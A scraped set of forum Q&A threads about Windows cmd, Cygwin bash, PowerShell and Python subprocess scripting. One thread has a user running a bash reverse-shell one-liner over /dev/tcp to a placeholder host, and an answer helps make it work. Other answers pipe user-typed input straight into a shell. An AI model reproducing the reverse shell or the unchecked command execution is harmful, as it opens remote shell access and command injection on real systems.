Exit from cmd script that calls bash - windows

I have the following cmd script which calls a cygwin bash script:
C:\cygwin\bin\bash -l /D/Temp/testScript/cygScript.sh
echo back in cmd.
exit
The bash script is simple:
#!/bin/bash
echo Hello World!
read
The calling part works nicely - the bash shell logs in, echos as expected, reads as expected and control passes back to the cmd as expected.
But the cmd will not exit. This is fine if I run it from a command window, but I will be calling this by double clicking on the cmd file or launching it from RUN etc.
Output I see:
D:\Temp\testScript>C:\cygwin\bin\bash -l /D/Temp/testScript/shellScript.sh
Hello World!
D:\Temp\testScript>echo back in cmd.
back in cmd.
D:\Temp\testScript>exit
How do I get the cmd to exit?
Found the problem - too many bashes
I think I found the issue - probably something in my .bashrc and other files I load during cygwin login. If I change the main cmd line to remove the login flag), it works as expected - everything closes.
C:\cygwin\bin\bash /D/Temp/testScript/cygScript.sh
But then I put the flag back:
C:\cygwin\bin\bash -l /D/Temp/testScript/cygScript.sh
and run again. I see the output Hello World! which shows me that control is with bash, and I check Task Manager. Four instances of bash.exe are created. Then I press ENTER and see the output back in cmd. showing me that control is back with cmd. Now Task Manager shows me that three bash.exe instances remain.
So, something in my login scripts are creating extra bash shells. So it's not you, it's me.

Avoid creating persistent subshells in login scripts by using cygstart instead of cmd.
Previously I wrote that the problem was too many bashes. My .bash_profile was doing something to create bash sub-shells (that were persistent because the jobs they launched kept going in the background). This meant that when my cmd created a bash (via login) and the first bash exited, the sub-shells didn't exit.
I found that part of my login scripts involved launching some Autohotkey scripts like this:
cmd /c "$thePath" &
The fix was so easy... just use cygstart:
cygstart "$thePath"

Related

How can I keep powershell in repl mode with a loaded script

I'm trying to start a powershell instance, that loads a script and remains open so I can still call methods loaded by that script manually.
I'm trying to dot source a script and pipe it to powershell like below, from a cmd instance/batchfile:
echo . .\script.ps1 | powershell
The result in this case is that powershell starts, loads my script, executes it and exits. I've tried running with -noexit argument, it has no effect.
I'm thinking of another option, to start a powershell process and pipe my dot source command to its stdin - but this probably won't allow me to interact with the process anymore because its stdin is opened by the host process.
If you need to run a script file so that window stays open and variables are accessible after the execution.
Try dot sourcing the script file like this:
powershell -noexit ". .\script.ps1"
Once the script is done, you can access any internal variable the script defined. Assuming the variables are at the script level scope.

running mulitple commands using Subprocess.Popen in the same shell

Hi I am at a loss on how to run multiple commands using popen,
I am trying to automate a series of steps that are normally run on the Windows command line. The basic steps are usually run from the Windows cmd line are
Run a windows command script (.cmd) file to setup environment variables i.e C:\Program Files (x86)\appsettings\setupvariables.cmd
type in the command to connect to the database
type in the command to get data from the database
Stop connection to the database
All these commands must run in the same command line window one after another, not separate processes or separate command line windows. Instead of opening a cmd window and typing in the command I want to use python's subprocess.popen command
So far I have:
args=[]
args.append(r'C:\Program Files (x86)\appsettings\setmyvars.cmd')
args.append(r'start db on db_path="my_url"')
args.append(r'get_data_from_db>c:\temp\output.txt')
args.append(r'stop db on db_path="my_url"')
p=Popen(args,stdout=PIPE,sterr=PIPE,shell=True)
stdout,stderr=p.communicate()
if stderr:
print "you have an error", stderr
else:
print "well done you have data", stdout
This isn't quite working I can see that the first line is run i.e the setmyvars.cmd is executed, but nothing else, none of the other arguments get called, if they did I would see the results in the ouput.txt file.
How do I run a series of commands one after the other using popen. Why is it only the first command seems to be executed and none of the others
I am using python2.7 on Windows
Regards.
You have a couple of issues going on. You still have to tell popen() which program to run. Just using shell=True does not obviate the need to provide cmd.exe as the program to run. If you really want to run all of these commands with one invocation of cmd.exe, then you will need to string them together with &&.
from subprocess import *
args=[]
args.append(r'C:\Windows\System32\cmd.exe')
args.append(r'/C')
args.append(r'(echo 1 && echo 2 && echo 4)')
p = Popen(args,stdout=PIPE,stderr=PIPE,shell=True)
stdout,stderr=p.communicate()
if stderr:
print "you have an error", stderr
else:
print "well done you have data", stdout
It would probably be better to use the %ComSpec% environment variable than it would be to hardcode the location of cmd.exe. The path you have is -usually- correct. :-)

bash: &: No such file or directory

I am running the following command from maple (the function system works just like functions such as os.system from python):
system("bash -i>& /dev/tcp/myownip/myport 0>&1 2>&1")
However, it fails and this is the output:
bash: no job control in this shell bash: &: No such file or directory
Exit Value: 127
The weird thing is that the command works great when calling it from Terminal...
Any suggestions of how I could fix this?
"No job control" means that you can't bring background jobs into the foreground when running an interactive shell.
I would focus the analysis on the wording of the second error message. We know from it that bash is running. My guess is that Maple (not knowing the meaning of the > WORD construct in bash) tokenizes the string along the white space, and then does something like execv("bash", "bash", "-i>0", "/dev/tcp/myownip/myport"). At least this would explain the error message.
Could you try the following? Create a stand-alone two-line bash script like this:
#!/usr/bin/bash
bash -i>& /dev/tcp/myownip/myport 0>&1 2>&1
Set it to executable, and then invoke it from Maple with
system("yourpath/yourscript")
At least the error message No such file or directory should be gone.

How do I continue entering commands into Bash once I've opened a document?

If I type in, for example:
$ notepad.exe web-dev.txt
web-dev.txt obviously opens with notepad. But if I go back into my command line, I'm unable to write any more commands until I close notepad. The command line is just black with no $.
Can I not give any more commands until I'm done with that task?
notepad.exe web-dev.txt & will run the command in the background and you can keep on working.
Use jobs to see the commands running in the background.
This documentation could be helpful: http://linuxreviews.org/beginner/jobs

execute user inputed Windows (or bash) commands from batch (or bash) file?

Ok, so I have this batch script and what I want to happen is that when you run the script it does some standard stuff like change the path and access files etc... but after it's done that it goes back to being a normal cmd prompt/terminal where I can type in commands at free will.
Can this be done (in either dos or bash)? Is there like an execute command that I can put in an internal while loop or is there a command where when the scirpt ends it can go back to the normal cmd/terminal?
Do you need a full bash prompt?
Or would something like this be enough?
#!/bin/bash
echo -n "Enter cmd: "
read COMMAND
echo ${COMMAND} | bash
Also, in a script, you can just execute bash and get a full prompt in the current environment.
In Dos / windows command prompt if you run the batch file from command line you will get the prompt back always by default. Just like running any other command in command prompt.
Also in windows when the batch file execution is complete you can just put Cmd.exe when everything has finished running I.e at the end of the batch file.
Hope this helps!
E.g
#echo off
Echo running
.
.
.
Cmd.exe
Or even at the end
Echo %command% | Cmd.exe
Never mind, I got a good solution using this code: (for windows)
set /p command=CMD:
%command%

Resources